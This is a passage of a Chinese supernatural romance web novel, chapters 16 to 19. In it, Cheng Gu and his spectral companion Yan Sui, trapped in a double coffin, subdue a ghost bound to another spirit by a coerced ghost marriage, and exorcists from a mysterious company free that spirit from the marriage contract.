“滚开。”鬼新郎身上喜服脏旧无比,染上了许多泥土,它怒瞪着程故,周身萦绕着可怕的黑色阴气,声音刚落,那些阴气全数将程故当成活靶子,朝他飞来。
程故来不及思考,手忙脚乱地伸手乱打,余光瞥见十几个纸人从鬼新郎的衣袖中爬出。
它们在跑来途中逐渐变大,脸上妆容狰狞怪异,眨眼间就已经靠近程故,抓着他的手脚用力往后一掀。
背脊骤然接触到冰冷光滑的木头,腰部一麻,紧接着整个人摔落在毫无温度的区域,冰的程故闷哼一声,下意识想要挣扎。
不过才抬起手,头顶日光消失,“砰”一声,四周陷入黑暗。
身体中刺骨的寒意令程故浑身似蚂蚁爬动,他挣扎着起身,抚摸着面前的东西。
是墙壁,又不是,上方还有微微的凸起,敲动时,沉闷的响动在周围不停回荡。
程故很快猜到自己所在的地方。
他被那些纸人关在了棺材里。
内心不好的预感愈发严重,程故站起身,试图去推棺材盖。
在外面没感觉,可站在在棺材中,他才发现内部很高,根本没办法够到棺材盖。
程故只能作罢侧身,往四周走动。
棺材空间太大,根本不是装一个人的,最起码是双人棺。
除了鬼新郎,还有一个人曾经在棺材里。
程故耳边嗡嗡作响,全是自己因为紧张而变得急促的呼吸声。
偏巧在这个时候,耳边响远及近的脚步声,直直地停在他身后。
背脊紧紧绷起,程故咬紧后槽牙防备着,在身体察觉到身后东西靠近,张开毛孔提醒着危险时,他骤然扭头,一脚踹去。
16.第十六章
第16章
轻而易举踹中了对方的腿,程故一怔,准备再接上一拳。
对方却在这时后退一步,笑着开口:“是我。”
沉稳令人心安的声音,是言随。
这并不能让程故放松下来,他死死盯着黑暗中一点模糊的轮廓,从牙缝里挤出一句话:“我怎么确定你是?你骗不到我。”
言随一顿,普通人视线不好,但他不是人,周遭昏暗,他却能看清楚面前之人的模样。
青年绷直身体,精致白净的脸上满是抵触,因过于紧张,牙齿用力咬着,完全不似平时的温和,反倒像极了浑身带刺的刺猬。
言随几步走近,手掌放在他的头上轻轻抚摸:“程故,真的是我。”
原本还犹如刺猬的青年在感受到熟悉的力道顿时放松下来,脸上的凌厉与冷漠消失不见,用脑袋蹭着他的掌心。
“你怎么也进来了?”
“跟着你一起进来的,这棺材内的空间比我想象得大。”言随说,收回手时程故还在用脑袋蹭着他,连自己都没发现动作有多亲昵依赖。
手掌一拿开,程故冷静多了,身体僵硬,脑袋几乎宕机。
他的身体为什么这么喜欢言随?
不仅喜欢他的接触,没有任何厌烦,还总是不自觉沉陷。
这是怎么一回事……
“等他们。”言随抓着程故坐下,“这是双人棺。”
“我也看出了。”程故稀里糊涂坐下,肩膀不小心碰到言随,发觉什么,立刻用手触摸言随。
“你怎么有了人一样的体温?”程故惊讶道,言随身上的温度只比他低一点,与正常人没区别。
太过震惊,以至于程故并没有发现自己整个人都在言随怀里,暧昧亲密的姿势使得两人体温逐渐交缠升高。
棺材内寂静无声,言随望着青年近在咫尺的黑眸,喉结微微滚动,抓住他的手臂低笑出声:“我不是说了吗?我非人非鬼。”
“太神奇了。”程故说,这才察觉两人彼此缠绕分不清的呼吸,连忙后退,坐直身体。
周遭更静了,程故低咳两声,故意发出动静。
他想出话题:“我们只能在这里,出不去吗?”
“出不去。”言随说,“相信她们能解决。”
“你很了解她们吗?”程故知道他说的是外面几人。
“能成为公司员工,经历的事肯定不止一件,他们有处理经验,知道如何对付。这次情况比较棘手,估计时间会久一些。”言随说。
程故恍然大悟,歪着脑袋望着眼前的黑暗:“你说我能进他们公司吗?”
“当然。”言随说,“完全可以。”
听到他肯定的声音,程故忍不住莞尔:“你这么相信我吗?”
言随没有回答,只是用笑声肯定了他的话。
棺材倏然晃动,空气中弥漫着一股非常难闻的药味。
程故没想到会闻到这么刺鼻的味道,等反应过来,肠胃被刺激到各种翻涌搅动,下意识干呕几声。
“什么味道?”他反射性去抓言随,黑暗中被另一只手主动牵住。
十指紧扣,温度互相传递,程故被折腾到早在心里骂骂咧咧,分不出心思去想其他事。
“药的味道。”言随低声说,“这棺材里的另一个人来了。”
程故一愣,下一刻被轻轻捂住口鼻。
嘴唇触碰到温热的掌心,青年一怔,手指不自觉蜷缩弯曲,鼻腔中只能闻到一股淡淡的花香,除此之外再闻不到那股刺鼻令人作呕的药味。
“别怕。”言随说,“是来找那新郎的。”
程故点点头。
掌心的热意开始传遍全身,他心神不宁,除了自己越来越急促的呼吸声外再无法关注其他。
“嘘。”言随松开手,歪着脑袋凑在程故耳边说。
微凉的呼吸扫过耳朵,青年一颤,身体软了一半。
程故发现了,自己轻易就能被言随挑动。
他的身体比他本人还要契合言随,这是一件非常奇怪的事。
“咚咚咚。”棺材外响起敲击声,程故刹那间被转移注意力,循声望去。
“咚咚咚。”敲击声再次响起,言随用气音叮嘱他,“别出声,那东西以为你是鬼新郎。”
程故点点头,猜测自己被关进来,估计是鬼新郎故意为之。
它和包冠林成亲很有可能也是因为惧怕外面的东西。
脑中胡乱猜测一堆,程故想和言随讨论,还记得他的嘱咐,抿唇忍住了,只是手指无聊地摩挲着言随手背骨节,分散着注意力。
轻微的动作好似挠痒痒,言随垂眸,看着那白皙的指尖擦过皮肤,心里起了无数涟漪。
昏暗之中,他唇角上扬,眉眼间宠溺十足,眼底神色柔和,却在听见那再次响起的咚咚声后,温柔瞬间化作无数冷意,在眼底汇聚成一片寒冰。
“找了你这么久,终于让我找到了。”外面的东西发出嘶哑难听的声音,犹如钝的锯子费劲艰难地摩擦着木桩而发出的动静。
与此同时,那股药味更加难闻,充斥着整口棺材,几乎将人熏晕过去。
真的找鬼新郎。
程故屏住呼吸,发现外面无比寂静,没有任何声音,再加上说话的东西直奔棺材,想必没看到其他人。
“出来。”那声音阴冷命令,“现在知道怕了,跑的时候怎么不怕?”
光听声音就十分讨厌。
程故敛眸,这么浓重的药味,估计是个久病之人,再加上双人棺,他确定了内心的猜测,握着言随的手更紧几分。
“他伤害不了你。”以为他害怕,言随温声开口,“有我在。”
低沉磁性的三个字扫动着程故的心,他忍不住抬起另一只手抚摸着心口,试图让心脏安分一些。
不能跳这么快。
程故眼底有几分对于这份失控的惊慌,不过很快便藏好放下手。
那东西继续放狠话:“许如多,给我滚出来。”
狠戾的声音充满杀意,程故耳朵震动,眼前黑了刹那,能感受到这东西的狠戾,和他平时看到的那些东西完全不同。
“砰。”周遭震动,棺材盖骤然飞起,撞在地上碎裂开。
阳光落下,四周清明一片,程故反射性抬头,眯眼看去。
视线中出现一张惨白的脸,双眼处涂着一抹殷红,眼睛很小,嘴巴大到可怖瘆人的程度。
看到程故,他一愣,极
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小瞳孔的眼里明显闪过一丝满意。
“不是许如多啊,但这份礼物我很满意。”男鬼狞笑出声,眼神猥-琐,笑容轻佻无比。
程故厌恶地皱起眉头,男鬼像是看到了什么好笑的事。
“在这棺材中,你只能成为我的人,与我永生永世在一起。许如多跑就跑了,把你补偿给我也可以,走吧,我们现在就去成亲。”
身边温度骤然降低,程故下意识看向言随。
男人面容冷厉,薄唇抿成一条直线,在察觉到他的目光,眼底的冰霜瞬间融化。
“不要相信他的话。”言随沉声说,“他办不到。”
程故点头,看向男鬼微微一笑,毫不客气竖起中指:“蠢蛋,你也配和我成亲。”
“我的老公比你好看百倍。”他又补充道。
言随一怔,浑身冷意消失,眼底笑意更加明显:“你老公?”
面对其他人程故没什么不好意思,偏偏面对言随,他支支吾吾半天才说出一句话:“我说的,是,是实话。”
言随低笑一声。
“给脸不要脸。”男鬼脸色一变,原本就小的眼珠子因为愤怒一眯,几乎看不见。
许如多如果和这种人绑在一起,想逃跑也正常。
程故脸上的嫌恶迅速变多。
男鬼看到,勃然大怒:“你要是不从,那就死在这里。”
程故丝毫不惧,瞥了眼言随和同心结,挺直腰杆放狠话:“那我们就看看,到底谁死在这里。”
见他这么有底气,男鬼反倒呆住片刻,站在棺材旁将程故从头到尾打量完。
他并没看出什么特殊的地方,眼神凶戾一笑:“骗我?你离不开这里,死心吧,要恨就恨将你送给我的许如多。”
它弯下腰,眼看着就要跳进棺材里,程故四处张望,寻找着趁手工具。
其他三人有符纸,他没有,也不知道如何使用,又实在想打一顿男鬼,于是问言随:“我能打它吗?”
言随实话实说:“你打不过。”
程故:“我知道,但我还是想试试。”
“有。”言随沉思片刻,程故看到他手指在空中轻轻一划,出现了什么东西。
程故只来得及看到一抹绿色。
那男鬼已跳进棺材内,站在程故对面不远的位置猖狂靠近:“只要与我共同在这棺材里待上一天,你就是我新夫君了,我们同生同死。夫君,我来了。”
令人作呕的声音听得程故内心一阵烦躁,想直接一拳打过去。
“它在迷惑你。”言随扣住他的手腕,食指与拇指用力一捏,程故皮肉微疼,顿时清醒过来,所有躁动烦闷消失不见,面对男鬼只有无尽的厌恶与抵触。
“给。”言随把东西塞进他的手中。
程故低头,借着头顶的光分辨出自己手中竟然是一截柳条。
柳条光秃秃的,没有一片叶子,颜色比程故之前看过的要重许多,到了一种深黑的地步。
“你怎么拿出来的?”程故问,就跟变戏法一样,瞬间出现了。
“这根柳条一直在我身上,只不过你看不到。”言随笑着解释,用最温柔的语气,说出狠戾的话。
“它怕这个,打它。”
17.第十七章
第17章
程故抓紧柳条。
柳条随着他的动作轻微晃动,看着稍许软,拿着却沉甸甸的。
男鬼见他一个人自言自语,时不时露出兴奋的表情,以为他被自己吓疯了,搓手笑道:“别害怕,等你和我把该做的事都做了,我们就是一体的,不分你我。”
程故满眼厌恶,怕这东西看到柳条逃跑,将其背在身后,笑出声:“是吗?我不信。你长得这么丑,我不喜欢,你都是鬼了,不能换一种样子吗?”
男鬼穿着灰色褂子,黑色长裤,脸色惨白,双眼细小如红豆,眼底泛着奸诈的光,闻言一顿,脸上堆出笑容。
“等我们把该做的做了,你彻底成了我的夫君,你喜欢什么样的我都给你变。”
“现在已经是吉时了,我们不要误了吉时。”它快速靠近。
程故又闻到了那股子难闻的药香味,刺激着人的鼻腔胃部。
他忍住呕吐的冲动,掐了掐掌心,握紧手中柳条,只待男鬼凑近后抽过去。
不知道这个效果如何。
生怕一根看着轻易能折断的柳条对它伤害不大,程故掌心略微出汗,又有些难言的兴奋,以至于在男鬼靠近的那一刹那,不由得弯唇笑了笑。
男鬼步伐一顿,感觉到不对劲,本能地往后退去,迎面却袭来一阵劲风。
“啪。”有什么东西狠狠抽来,落在身上的刹那,一股剧烈的刺痛感传遍全身,一刹那犹如火焰灼烧灵魂,滋滋作响不停。
难闻的烧焦味弥漫四周,男鬼发出惨烈的嘶叫。
程故抽了三下。
第一下男鬼叫声痛苦,第二下它已经没了力气,第三下程故注意到颜色比较深的柳条发出一点淡金色的光,虽然很短,但他确定自己没看错。
男鬼双腿一软,无力跌在地上,痛苦捂着自己的双臂,匍匐在地。
程故一开始以为它是痛的。
棺材内环境昏暗,他看不清,直到仔细望去,才发现那男鬼身上柳条抽出的痕迹深刻入骨。
甚至骨头正在开始融化,冒着吓人的热气,像是硫酸般腐蚀。
它身体颜色淡了很多,空气中药味消散到几乎闻不到,面容呈现一种死灰色,以至于程故无法准确在昏暗中捕捉到它。
这柳条威力这么猛,程故垂眸盯着手中柳条,眼底涌动着几分诧异。
他抬头看向言随,男人递给他一个安心的眼神,示意他放开抽,不用担心其他。
男鬼一开始还不停在地上扭动嘶吼着,到最后声音越来越弱,程故拿着柳条欲言又止。
言随看穿他的内心:“好奇柳条?”
“对。”程故点点头。
“我刚想起来我有这个。”言随低声说,“可能很久没用了。”
“对它有用,对许如多有用吗?”程故又问。
“不一定。”言随解释出声,“普通鬼,柳条对其作用没那么大,只是会让鬼避开,有驱邪的作用,对十恶不赦的厉鬼有用。”
“如果这个鬼没有做过什么伤天害理的事,柳条打下去只会疼,不会有其他。也就是鬼身上罪孽越多,柳条威力越大,不过对一个鬼只能抽三次……”
他一顿,低头望着程故手中柳条,后面的话没有继续说下去。
程故跟着低头,三次抽打,柳条上面出现明显的白色裂痕,看着就要撑不住断开了。
“应该陪了我很久。”言随抚过柳条,脸上表情晦暗不明,“现在到了要和老朋友说再见的时候了。”
程故手指摸过柳条,冰凉的触感滑在掌心,让他心情有些复杂。
“没其他办法了吗?”
言随:“或许有,不过现在的我不知道。”
“你是为什么失忆?”程故问。
言随忽然抬眸,眼底情绪过于复杂,那一瞬间程故能感觉出他想问自己什么,最后没有问出。
他一笑:“人去世后,对现世的记忆多多少少都会遗失。程故,你也是。”
最后那一句话低柔缱绻,像是对恋人说着最动心的情话。
程故眼皮与心跳同时开始剧烈跳动,莫名口干舌燥。
他动了动唇,没能给出回应,过了片刻才双手扶着柳条递给言随:“现在该怎么办?”
“烧了就好。”言随低声回答。
男鬼被抽打到再无力气起来,躺在地上没任何一点动静。
程故还以为它死得不能再死,走到跟前用脚踢了踢。
男鬼浑身哆嗦,以为程故又要用那看不出名堂的柳条抽自己,连忙爬起来跪在地上磕头求饶。
“大人,是我的错,是我有眼不识泰山,大人不要与我计较。先前那些话不作数,我现在就送大人离开这里。”
他看不到言随,以为柳条是程故的,根本不明白为什么这人看着挺平常,却有能伤他灵魂的东西,生怕后面还有什么厉害的东西,哭得眼泪鼻涕一堆,看着十分滑稽好笑。
“你有办法对付许如多吗?”程故趁机询问,避开他伸来想抱大腿的手。
男鬼放下手,额头紧贴地面,一边绞尽脑汁想着回答,一边趁机偷瞥程故。
青年面色淡淡,眼神沉静,看着实在普通,无任何神奇之处。
那柳条到底是从何处来的?
男鬼咬牙,被抽到的地方开始流下黑色的水,泛着难闻的恶臭味。
蚀骨的疼痛历历在目,让它脑袋一下埋得更低,眼珠子疯狂转动。
“我知道的,我一直在找许如多。它与我入了这双人棺,结了阴亲,是我的夫君,这些年来它一直在躲着我,直到最近我才找到它。大人放心,我一定会把许如多抓回来,给大人道歉。”
所以许如多和包冠林成亲,又将他关进这棺材里,只是为了躲避眼前的男鬼。
程故托着下巴沉思,余光瞥见埋头的男鬼一点点往后退去,双手不安分成了爪状,一副随时准备动手的警惕模样。
他假装没看到。
男鬼后退到安全距离,抬头直勾勾地打量着这边,眼底的阴狠恶毒再无法藏住。
程故见状心中冷笑,摸到放在后裤子口袋的柳条,准备在男鬼冲上来后动手吓它。
但不知为何,男鬼没了后续动作。
它僵在原地,感觉着空气中蓦然多出的另一存在,双瞳惊恐颤动,原本已经站直的双腿蓦然又重新跌跪了回去。
男鬼两肩抖动,眼神惊慌地瞥向程故身后,窥见了那抹藏于暗中的黑影。
再一
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眨眼,黑影消失不见,男鬼揉揉眼,因没控制好力道,直接将眼眶中的眼珠揉出,掉在地上弹跳两下,一点点滚到程故脚边。
青年敛眸,视线扫过脚边眼珠,又看看男鬼空洞的眼眶,略微挑眉。
“我,我错了。”所有多余的心思在这一刻全部退去,男鬼低头求饶,“真的知道错了,我一定听大人的话,大人让我做什么我就做什么。”
程故怀疑这鬼把自己错当成了什么大人物,才会这么害怕。
多半是因为那根柳条。
程故偏头,看向身侧的男人。
言随不说话时存在感很低,再加上静静站在那,没有任何动作,快要与黑暗融为一体。
察觉到他的目光,言随抬起双眼,掀唇一笑。
程故慌乱收回目光,故作冷漠地对男鬼说:“让我们,让我出去,带我去找许如多。”
“是是。”男鬼小鸡啄米般点头,爬起来拍干身上的灰尘,又赶紧将拾起来眼珠里暴力往眼眶中一压。
“啪叽”一声,眼珠子重新按进眼眶中。
男鬼谄媚一笑,手扶着棺材中的内壁轻轻敲击两下,上方复杂的纹路开始游动,不过两次眨眼,棺材内部空间骤然挤压,变回正常大小。
程故跟在男鬼后面爬出棺材。
男鬼偷偷瞥向他身后,没再看到什么才松口气,讨好地问道:“大人,大人你是干什么的?”
程故:“不要多问。”
他顿了顿,努力回想之前看的恐怖片内容,冷声道:“死了不入地府,还在人世间做什么?”
“本该是要和许如多一起下去的。”男鬼挠挠头,“可是它跑了多年,我寻了它多年,错过了时机。大人,许如多很会骗人,大人要是见到它了,不要信它说的所有话。”
程故不咸不淡道:“你们之间是怎么回事?”
男鬼欲言又止,最后还是说了出来。
如程故猜测的那样,两人是阴婚。
男鬼确实死了,许如多是活着的时候,被父母拿着生辰八字去配亲,最后硬生生封进棺材里,下葬活活闷死的。
特别是棺材内画入符箓,让死后的许如多找不到回家的路,没办法报复家里人。
再在四角钉下钉子,代表棺材里的人无论生死都会一直在一起,永不分开。
残忍程度听的人忍不住紧握双拳。
“大人,这可不关我的事。”看出程故脸色不怎么好看,男鬼立刻摆手解释,“是许如多的父母为了一点钱财将他卖给我,都已经成为我的夫君了,就该同我在一起。它总是逃跑,我也很苦恼。”
程故没有说话。
院内寂静无声,没有纸人,更没有其他活人,死寂到全世界好似被按下静音键。
男鬼再次偷瞥程故脸色,搓着手笑眯眯打听着:“大人的柳条从何处得来?那柳条不是寻常物,大人能不能让我近距离观赏一下?”
程故面无表情斜睨着它,扫过它身上丑陋吓人的痕迹,唇角勾起,眼底却没任何笑意:“怎么?你还想被抽?”
或许因为言随跟在身后,就算知道柳条不能使用,程故也没有任何慌乱,反而极其心安。
他早就在不知不觉中习惯了言随陪着自己。
18.第十八章
第18章
男鬼面色惊变,没说话,看着就知道心里不服气,憋着损招。
程故怕它再次生出反抗之心:“你觉得这种东西从何处得来的?”
模棱两可的回答成功让男鬼猜出想要的答案,那谄媚的笑容更加多了,握着手嘿嘿嘿傻笑半天,眼神一个劲往程故那边看。
程故快装不下去,拿出柳条递给言随,手指微动,做了个使唤柳条过去的动作吓唬男鬼。
它果然被唬住,身体一震,不敢再东张西望,讨好地开口:“大人工作繁忙,我这边打扰大人了,不过大人怎么会在这里?是来抓我和许如多吗?”
程故不说话,面无表情地收起柳条。
男鬼见状对着自己的嘴巴一打:“是我多嘴了,大人勿怪。”
这恭敬的语气,明显把他认作什么大人物。
程故低咳两声:“快带我去找许如多。”
他到现在都无法猜出其他三个人是怎么消失的。
男鬼心虚一笑:“大人,我要是找得到许如多,这些年就不会放任它东躲西藏了。我也在找它,好不容易找到这里,没想到是它用的障眼法骗了我。”
它试探性开口:“大人在下面工作,本事肯定很大,不如大人……”
这是怀疑他找不到许如多就是身份有假,程故冷笑:“还需要我来动手?”
男鬼没有说话,低头不知道在想什么,苍白的脸透着几分奸诈。
程故看向言随,一阵挤眉弄眼,觉得自己演不下去了。
手倏然被握住,言随示意他不用担心,随后唇角微扬。
程故瞬间被他的笑容吸引,眨眼多次都没能从那张脸上挪开。
“能感受到我的体温吗?”言随问。
程故点头,用心感受,言随指尖微凉,掌心却是柔软炙热的。
言随继续说:“鬼也有体温,就像感受我的体温这样,去感受其他的。”
程故似懂非懂,在周遭来回走动,果然发现有一处地方温度异常阴冷,像是有一台看不见的冰箱打开着门,寒气逼人。
程故指着这处:“它们就在这里。”
男鬼将信将疑地盯着眼前空气:“这里?”
它没有感受到任何不对,根本不相信。
程故沉声开口:“许如多就在这里。”
他隐约能感受到空气中有自己看不到,摸不着,却存在的东西。
窸窸窣窣怪异声响起,正是在他们面前的地方发出的,程故更加肯定:“你不动手抓许如多吗?”
男鬼面色尴尬,想说什么又忍住了。
它顿了顿,趾高气扬道:“许如多,你还不赶紧滚出来。大人在这里,已经知晓你和我的事,你是逃不了的。乖乖出来跟我一起回去,我就原谅你之前逃跑之事。”
这些话果然有用,前方响起一声嗤笑:“你我之事本就不作数,现在我已经与其他人成亲,你算什么东西。”
男鬼闻言沉了脸,浑身黑气扭动,变得更加浓稠厚重,像是一层墨水泼上去。
“你竟敢和别人成亲。许如多滚出来,我要弄死你。”
周遭温度骤降,刺鼻的药味飘出,程故手脚冰凉,浑身力气似被空气吸走,双腿晃悠两下,无力再站下去,软绵绵一折,差点侧着摔倒在地。
言随轻轻一扶他的手臂,不过触碰一刹,程故顿时清醒有了力量。
他眨眨眼,无声对言随道谢。
“你和我的关系,不用道谢。”言随抬手摸摸他的脑袋。
程故一怔,反应过来两人现在的关系,脸微微一热,点点头。
“是吗?恐怕今天你弄不死我,我已经弄死你了。”
空气扭动一霎,许如多出现在程故先前指着的地方,身后是被黑气萦绕成绳索捆住的四人。
包冠林还穿着喜服,不知道是吓得还是如何,正口吐白沫,翻着眼睛,浑身抽搐不停。
李千月三人背对背捆在一起,看到程故略微一怔,似乎是没料到她们都栽了,程故还相安无事,眼底闪过一抹惊奇。
对上她的目光,程故不太自在地笑了笑。
许如多面色阴狠,目光充满杀意与戾气,死死地盯着男鬼,抓着红绸的手用力到将红绸直接捏断。
包冠林痛苦一抖,低头呕吐出一摊黑水,触及地面的那一刻泛起白烟,将地面灼烧成黑乎乎一片。
难闻的味道传来,程故捂住口鼻,试图和许如多商量:“你和它的事,为什么要牵扯上无辜的人?”
许如多冷笑一声:“谁无辜?你们?还是我身边这个?”
他一脚踹开包冠林,面色更为冷冽:“这一切都是他自己咎由自取。是他非要将我带回家,还想我庇护他家发大财,各取所需罢了,蠢货。”
包冠林还是没把话说全。
罗幸和李千月脸色不太好看。
包冠林吐了之后缓过来一点,恰好听见许如多的话,颤巍巍地看向李千月那边,慌忙解释道:“大师,你们别信他,我这一把年纪了,庇护什么发财。这是它故意让我们离间的办法。”
“大师,该说的我都说了,绝无虚言。”眼看两人不信,包冠林声音骤然提高。
这一下用尽他所有力气,脸色瞬间白到毫无血色,发不出声音地僵在一边。
男鬼挡在程故面前,嚷嚷起来:“大人面前还说瞎话,愚蠢!”
一刹那,在场所有目光袭来,程故恍惚觉得自己成了个插满银针的毛球。
手臂止不住起了一层又一层鸡皮疙瘩,他搓搓手臂,努力降低自己存在感,低着头没说话。
男鬼疯狂帮他吸引注意力:“许如多,还不快放了它们,乖乖跟我走。”
“大人?”许如多咀嚼着这两个字,摆明不相信程故能有这么厉害,“拿什么编出的瞎话压我,今天阎王来了,你也带不走我。”
“不知好歹。”男鬼愤怒咒骂不停,从袖子里拿出一张红纸,“这是你我的婚契,就算你和别的人成亲也不作数。许如多,你只能永远跟我绑在一起。”
红纸上面写着一堆黑色的字,其中最为明显的是左下角两人的名字,上面还滴了血,极为显目。
除了许如多外,另一个名字叫林立松。
“逼迫人得来的东西,你也配提。”看到红色婚契的那一刻,许如多眼珠怒
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瞪,浑身黑气暴涨,身体后方散发着淡红色光芒。
程故第一次见到这种情况,躲到侧边,确保安全后看向言随,用眼神询问怎么一回事。
“它想和林立松同归于尽。”言随说,“一旦成功,魂魄消散,世上再无它。”
“它不是已经摆脱了吗?”程故皱眉道,“难不成林立松手上只要有婚契,就能一直缠着许如多?”
言随略微颔首:“婚契没毁,它随时能知道许如多的位置。两人灵魂捆绑在一起,哪怕转世为人也会纠缠到一起。”
“这也太恶心了。”程故厌恶地抿紧唇瓣,原本还有些怂,现在只剩满腔怒火,也能理解许如多为何一直要抓着包冠林成亲。
它要摆脱林立松,只能和别人结有婚契。
“和林立松的婚契存在,它和包冠林确实不算成亲。”言随瞥了眼林立松,沉声开口,“下面不承认。”
“没办法毁掉吗?”程故问。
“管理这方面的人出面解决就行。”言随一顿,深黑的眼眸注视着程故,“但这不是普通人能联系上的。”
如果有办法,恐怕许如多不会变成现在被动的情况。
程故内心叹息,余光注意到许如多身后的罗幸轻而易举挣脱黑气,活动着手臂。
他一怔,脑海里有了个大胆的猜想:这几人一开始故意被擒?
毕竟专业人士,肯定碰到过很多情况,不可能轻易就被制住。
看到李千月和周竹笙也纷纷站起身,程故眼眸睁大,确定自己的猜想。
“你不用特意这样做。”李千月拍拍身上的灰尘,抹掉脸上的污泥,“这件事我们公司可以处理。”
“异想天开。”许如多完全不信,看到几人好端端站着,脸上闪过一抹愕然,双手握拳,随时准备动手。
“真的。”周竹笙连忙补充,“你别再乱伤人,我们公司真的可以解决,前段时间有个差不多情况的事。”
一口气说太多,有些呼吸不上来,周竹笙停顿两秒,才继续道:“对方刚死就被配冥婚,和一个不认识的人在一起。怨恨到去找家里人报仇,家里人找到我们,公司从中调解,最后所配的婚契不算,圆满解决。”
“如果你不信我们公司能解决,那天底下确实没有能帮你解决得了。”李千月面无表情道,“我们公司与下面有合作,这方面的事可以放心。”
许如多面色松动,周身红气慢慢消失,抓着红绸的手放开,皱眉厉声道:“要是你们骗我呢?”
“没必要。”罗幸伸着懒腰,轻声开口,“如果不是想弄清楚你大费周折想要干什么,你早就被我们扣住了。”
猖狂的话语让许如多面子挂不住,灰白色的长指甲掐入掌心,想要反驳。
可这三人之前被擒住,现在轻松挣脱,就代表她们确实有厉害的底牌没有亮出。
“骗人的。”其余人松了一口气,林立松不乐意了,抓着手中婚契,五官扭曲成一团,“我不同意,你们能有什么办法解除?”
“没经过当事人同意的婚契本来就不该存在,别说这种害死人的婚契。”李千月睨它一眼,不耐烦开口,“你不同意也没有用。”
19.第十九章
第19章
林立松气急败坏地将婚契收紧,眼珠泛着吓人的红:“你想得美。许如多,你要是相信了她们的话可就是蠢货了。”
“我同意。”闻言,许如多几乎没有任何思考地开口,“我需要做什么?”
“ 不需要。”罗幸说,“你不要再继续纠缠包冠林,跟我们回公司,打个报告,婚契解除后我们送你回下面。”
许如多一愣,时间过去太久,它们这种飘荡人世间的孤魂早就失去了下去的资格。
就算真下去,也是被抓回去受罚居多,它试探性问道:“送下去干什么?”
“有罪者受罚,无罪者轮回。”李千月微微一笑,“你现在可以解除幻境,藏在镜子里,我们将铜镜带回公司。至于那位……”
她瞥了林立松一眼:“要么乖乖跟我们一起回去,要么就动点手段抓回去。”
林立松一顿,反应过来,侧身就要隐匿消失。
程故下意识去抓它,手穿过林立松身体才反应过来它是鬼魂,一般情况下触碰不到。
“动手。”他只来得及听见李千月一声低喝。
随后金光一闪而过,有什么东西从远处冲来圈住林立松,用力收紧捆住,使它被迫站立成一根木桩。
“放开我。”林立松愤怒挣扎,周身黑气爆出,疯狂扭动,敲打身上的金色绳索。
绳索泛着一层淡淡的光,上面有明显的符箓,程故离得近,所以能够看清是由什么组成。
他不太确信低头打量——的确是各种不同符纸组成的。
起码有上百张,程故作为人类靠近,都能感受到那种令灵魂痛苦的灼热。
“滋滋滋。”随着林立松的挣扎,金色绳索瞬间缠绕。
林立松惨叫一声,再不敢随意乱动,木讷地呆在原地,感受着灵魂被灼烧,犹如下油锅般煎熬刺痛。
“你们松开我,我不跑了。”它声音幽怨,充满不服,但此刻无法挣扎,只能憋屈忍受着。
看到那绳索,许如多才知道这些人确实没对自己动真格,不然它会被直接禁锢带走,不会有任何逃脱机会。
这绳索能够灼烧灵魂,不强大的鬼恐怕连几秒都撑不住,会立刻被烧得魂飞魄散。
“本来没想给你用。”罗幸皮笑肉不笑地走到它身边,“谁让你死了也不安生,作恶多端,就老实待着准备下去受罚。”
听见自己要受罚,林立松不满大喊:“凭什么?要受罚那也应该是许如多,它跑了那么多年,一切起因都是以为它。”
罗幸被喊得耳朵一麻,抬手揉了揉,从口袋里拿出符纸,用力拍在林立松脸上。
顷刻间,林立松眼睛一瞪,铁青着脸说不出话,浑身上下连眼珠子都没办法转动,只能恶狠狠地盯着前方。
“它为什么叫你大人?”事情已至尾声,罗幸这才想起之前的不对劲,扫了程故一眼,眼底的探究显而易见,根本藏不住。
“它瞎叫的。”程故一本正经胡诌,“我这人从小爱看电视剧,所以编了几句,没想到它真的信了。”
林立松眼珠登时更大,明显想说什么,可是被符纸封着,挤不出一个字。
程故庆幸它说不出话,没办法推翻自己的解释。
“这样吗?”罗幸挑眉,露出的笑容意味不明。
程故没说话,只揉了揉脸。
李千月和周笙正在许如多说什么,三人停止说话的那一刻,许如多点头:“好,我知道了,谢谢你们。”
“不用。”周笙摆摆手,视线落在包冠林身上,叹口气走过去对着他屁股狠狠踹了一脚。
包冠林一个激灵,这次彻底没了任何束缚,张嘴就要解释自己隐瞒的一些事,还没来得及就被周笙打断。
“别说那么多废话,事情已经解决差不多,你得按照之前说好的支付倍金额。”
“多,多少?”包冠林心痛一瞬,以为会有个天价,没想到周笙瞥了他一眼,说出来一个意外的价格。
“十万。”每个雇主的价格都不一样,视情况而定,如果不是包冠林隐瞒一些小细节,这次任务最多一万块钱。
包冠林瞬间松了一口气,忍不住笑道:“小小十万,我完全同意。大师,我可以多给,我给您五十万,太感谢了,您这是救了我的命。”
周笙冷漠道:“我们只收该收之钱。”
包冠林立刻点头,示意自己知道了,握着手,毕恭毕敬地冲几人笑个不停。
他根本不敢多说话,生怕惹人嫌。
事情包冠林的确隐瞒一些。
人到中年,胆子大起来,他一开始察觉这铜镜有问题,的确害怕。
但到后面动了歪心思,开始试着在梦里和许如多商量,让它答应自己条件,否则就找人让它魂飞魄散。
威胁不成,许如多生气要与他产生关系,包冠林才慌到六神无主,开始找大师解决。
他怕这些内容说出来没人接手,又怕被骂,才一直瞒着。
好在事情得以妥善解决。
包冠林心里悬起多时的石头终于可以放下,重重地呼出一口气。
幻境消失,几人回到房间中。
程故刚走一步,脚碰到什么,低头看去。
是之前准备离开的陈沢。
没想到两人还在这里,并且没进入幻境,他有些诧异。
而这一脚直接将陈沢踢醒。
他爬起来,不知道自己怎么晕了,左右张望,对上程故那张好看吸引人的脸,顿时咧嘴笑着和程故打招呼。
“我先跟你一起去解决你碰到的事。”
“不用了,现在解决了。”程故说,想起周笙对自己说的话,打量着讨论什么的三人,不知道她们会不会继续邀请自己加入公司。
时间一分一秒过去,三人收了包冠林的转账,抱起铜镜,准备离开。
“对了。”罗幸扭头警告包冠林,“安分点,公司再接到你的第二次任务,是不会帮你的。”
包管理点头如捣蒜,急忙表示自己不会再做这样的事。
铜镜满是划痕的表面露出一抹红色身影,是许
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如多。
程故不知道林立松去哪了,眼看三人要走,并不打算和自己说些什么,他不再抱有希望,伸个懒腰活动着身体打算回去休息。
在幻境中感觉过去了很久,现实中才过去半个小时。
“记得明天来公司。”房门打开,周笙从口袋里拿出一张名片递给程故,眨眼笑笑,“明天我们在公司等你。”
程故一怔,目送她们离开后垂眸看向手中黑色名片。
十分简单,黑色背景,红色字体,写着公司的地址,除此之外再没其他信息,甚至连公司名字都没有。
